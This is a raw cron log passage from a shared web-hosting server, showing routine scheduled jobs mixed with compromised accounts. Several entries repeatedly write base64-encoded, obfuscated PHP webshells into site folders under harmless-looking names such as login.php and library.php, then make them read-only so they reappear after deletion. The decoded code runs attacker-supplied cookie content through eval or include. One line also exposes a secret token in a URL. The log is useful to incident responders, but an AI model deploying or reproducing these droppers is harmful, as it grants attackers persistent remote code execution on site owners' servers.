UZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:52:02 medusa CROND[23983]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:52:02 medusa CROND[23984]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:52:02 medusa CROND[23988]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:52:02 medusa CROND[23990]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:52:02 medusa CROND[23987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:52:02 medusa CROND[23993]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:52:02 medusa CROND[23992]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:53:01 medusa CROND[16777]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 14:53:01 medusa CROND[16845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:53:02 medusa CROND[16892]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:53:02 medusa CROND[16893]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:53:02 medusa CROND[16894]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:53:02 medusa CROND[16895]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:53:02 medusa CROND[16899]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:53:02 medusa CROND[16900]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:53:02 medusa CROND[16902]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:53:02 medusa CROND[16905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:53:02 medusa CROND[16912]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:53:02 medusa CROND[16913]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:54:01 medusa CROND[9830]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:54:01 medusa CROND[9831]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 14:54:01 medusa CROND[9832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:54:01 medusa CROND[9833]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:54:01 medusa CROND[9835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:54:01 medusa CROND[9836]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:54:01 medusa CROND[9834]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:54:01 medusa CROND[9837]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:54:01 medusa CROND[9838]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:54:01 medusa CROND[9844]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:54:01 medusa CROND[9845]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
